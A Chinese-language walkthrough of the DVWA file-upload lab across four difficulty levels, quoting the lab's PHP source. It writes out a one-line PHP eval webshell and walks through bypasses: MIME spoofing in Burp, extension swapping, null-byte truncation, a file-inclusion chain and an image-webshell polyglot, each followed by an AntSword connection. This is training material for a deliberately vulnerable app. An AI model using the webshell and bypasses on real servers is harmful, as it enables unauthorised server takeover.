DVWA-文件上传通关

File Upload,即文件上传漏洞,通常是由于管理员对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马文件获取服务器的webshell权限。

1. Low

文件上传实验环境中,选择一张图片文件上传,文件上传结果如下图所示:

alt text

由上图可以看到。上传成功后页面中返回了 ../../hackable/uploads/ted6.png,即上传后的文件的相对路径。将该路径与当前页面URL(http://172.16.95.63/dvwa/vulnerabilities/upload/)拼接,得到新URL:http://172.16.95.63/dvwa/vulnerabilities/upload/../../hackable/uploads/ted6.png,由于../表示上一级目录,因此服务器会将路径dvwa/vulnerabilities/upload/../../hackable/uploads/ted6.png解析为dvwa/hackable/uploads/ted6.png,即图片的绝对路径。因此,直接在浏览器中输入该URL,即可访问到上传的图片,如下图所示:

alt text

文件上传成功后,服务器会返回文件相对于当前网页的路径,因此可以根据此相对路径与当前页面URL,得到上传文件的绝对路径。如果上传的是一个木马文件,则可以很容易获取到服务器控制权限。

接下来上传一句话木马,木马文件名为hack.php,文件内容为<?php @eval($_POST['mkbk']);?>,上传结果如下图所示:

alt text

木马文件上传成功,根据返回的相对文件路径../../hackable/uploads/hack.php和当前页面URLhttp://172.16.95.63/dvwa/vulnerabilities/upload/可得出木马文件的URL为http://172.16.95.63/dvwa/hackable/uploads/hack.php。接下来使用中国蚁剑,连接木马文件获取系统控制权:

alt text

alt text

alt text


2. Medium

2.1. 文件包含+文件上传

正常上传图片文件,返回结果和Low级别一致:

alt text

尝试上传木马文件,提示只接受png或jpg格式的图片:

alt text

将木马文件的后缀格式由php改为jpg,上传成功:

alt text

使用中国蚁剑进行连接,发现无法连接,提示返回数据为空:

alt text

中国蚁剑的原理是向上传的文件发送包含mkbk参数的post请求,通过控制mkbk参数来执行不同的命令,而这里服务器将木马文件解析成了图片文件,因此向其发送post请求时,服务器只会返回这个“图片”文件,并不会执行相应命令

那么如何让服务器将其解析为php文件呢?我们想到文件包含漏洞,因为文件包含漏洞会将任意文件当作php脚本执行。

借助Medium级别(过滤了http协议头,可使用字符双写绕过)的文件包含漏洞,需要打开中国蚁剑,右键添加,在地址栏中输入http://172.16.95.63/dvwa/vulnerabilities/fi/?page=hhttp://ttp://172.16.95.63/dvwa/hackable/uploads/hack.jpg

由于该URL需要在已登录的DVWA下才能访问,而蚁剑无法直接登录DVWA,因此需要借助bp进行代理,将请求转发到bp,并加上cookie(蚁剑每个操作都需要加上cookie):

alt text

alt text

alt text

2.2. 修改文件MIME类型

Medium级别的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
if (isset($_POST['Upload']))
{
// 上传文件所存放的路径在 hackable/uploads/
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename($_FILES['uploaded']['name']);

// 获取文件信息,文件名、类型、大小
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];

// 判断文件MIME类型,文件MIME类型只能是 image/jpeg、image/png
if (($uploaded_type == "image/jpeg" || $uploaded_type == "image/png") && ($uploaded_size < 100000))
{
// 判断文件是否能够上传
if (!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path))
{
// No
echo '<pre>Your image was not uploaded.</pre>';
}

else
{
// 返回路径
echo "<pre>{$target_path} successfully uploaded!</pre>";
}
}

else
{
// 无效文件
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>

这里分别通过$_FILES['uploaded']['type']$_FILES['uploaded']['size']获取了上传文件的MIME类型和文件大小。浏览器通常使用MIME类型(content-type字段)来确定如何处理URL,jpg图片的MIME为image/jpeg。因而medium与low的主要区别就是对文件的MIME类型和文件大小进行了判断,这样就只允许上传不大于100000b(约为97.6KB)且MIME类型为image/jpegimage/png的文件。但是这种限制还是可以通过Burp Suite绕过的。

上传hack.php,用bp拦截,将Content-Type:application/octet-stream中的类型改为image/jpeg如下图:

alt text

然后放行,上传成功:

alt text

后面连接中国蚁剑的方法和2.1中的步骤相同,这里不再赘述。

2.3. 2次修改文件后缀格式

将一句话木马hack.php重命名为hack.jpg(修改文件格式为jpg后文件的MIME类型会变为image/jpeg)并上传,使用bp拦截,将文件后缀格式再改回php,使中国蚁剑可以识别此文件:

alt text

alt text

第一次将php改为jpg是为了过MIME类型检测,使木马能够被上传;第二次将jpg改为php是为了让中国蚁剑能够识别该文件。

中国蚁剑连接成功:

alt text

2.4. 0x00截断绕过

hack.php重命名为hack.php.jpg,此时文件的MIME类型为image/jpeg,可以绕过MIME类型检测,但是文件后缀格式为.jpg,中国蚁剑无法连接该文件。因此还需要使用bp抓包,在十六进制编辑模式下找到.jpg,并用00替换掉.,这样后面的jpg就会被截断,文件名又变成了hack.php,中国蚁剑可以识别该文件。00截断的原理是十六进制的00在ASCII码表中对应空字符,而空字符表示字符串的结束,因此空字符后面的jpg就不会被识别了,这样就可以绕过文件后缀名检测了:

alt text

alt text

2.5. 图片木马

使用 copy cat.png/b + hack.php/a hackCat.png 命令将图片和一句话木马合并到一块:

alt text

/b参数表示以二进制模式打开文件,/a参数表示以追加模式打开文件,同时使用就相当于将hack.php的内容追加到cat.png的末尾。

用十六进制编辑器打开hackCat.png,可以在文件末尾看到hack.php的内容:

alt text

将hackCat.png上传并用bp抓包,将后缀修改为php,成功上传:

alt text

根据返回的相对文件路径../../hackable/uploads/hackCat.php和当前页面URLhttp://192.168.217.130/dvwa/vulnerabilities/upload/,可得出木马文件的URL为http://192.168.217.130/dvwa/hackable/uploads/hackCat.php , 使用中国蚁剑连接:

alt text

2.6. 总结

中等级别难度的文件上传只对文件的大小和文件MIME类型做了检测,而没有对文件的内容以及文件的后缀格式进行检测,所以我们可以通过修改文件的MIME类型来绕过后端代码检测,修改文件后缀格式或者使用00截断格式使得中国蚁剑能够连接该文件。

3. High

3.1. 源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// 指定上传后的文件的保存路径
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// 获取文件信息
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// 判断文件是否为图片
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// 文件移动到上传目录
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// 移动失败(可能是权限问题)
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// 移动成功
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// 文件格式不正确
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

通过观察High级别的源码,可以发现最外层的if语句检查了扩展名是否为 “jpg”、”jpeg” 或 “png”,以及文件大小是否小于 100000 字节(约 100KB),并且还使用了 getimagesize() 函数来检查文件头(魔术数字)是否为有效的图像文件。

3.2. 漏洞利用

由于High级别的代码对文件头进行了检查,必须上传真实的图片文件,因此需要使用图片木马进行绕过:copy cat.png/b + hack.php/a hackCat.png

alt text

但是上传后的图片木马无法被中国蚁剑连接,因为中国蚁剑无法解析图片格式文件(抓包修改文件MIME类型也无效)。解决方法如下:

getimagesize()绕过的视频教程:https://www.bilibili.com/video/BV1UM4y1P75V/?p=87

4. Impossible

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// 检查 Anti-CSRF 令牌
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 文件信息
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; // 上传文件名
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); // 文件扩展名
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // 文件大小
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; // 文件类型
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // 临时文件名

// 确定目标路径
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // 生成唯一文件名
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // 临时文件路径

// 检查是否为图片
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {

// 通过重新编码图像来去除任何元数据(建议使用 php-Imagick 而非 php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100); // 保存 JPEG 图像
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9); // 保存 PNG 图像
}
imagedestroy( $img ); // 释放图像资源

// 能否将文件从临时文件夹移动到网站根目录?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// 成功
echo "<pre><a href='{$target_path}{$target_file}'>{$target_file}</a> 成功上传!</pre>";
}
else {
// 失败
echo '<pre>您的图片未能上传。</pre>';
}

// 删除临时文件
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// 无效文件
echo '<pre>您的图片未能上传。只接受 JPEG 或 PNG 格式的图片。</pre>';
}
}

// 生成 Anti-CSRF 令牌
generateSessionToken();

?>

Impossible 级别的代码对上传文件进行了重命名(为 md5 值,导致 %00 截断无法绕过过滤规则),加入 Anti-CSRF token 防护 CSRF 攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。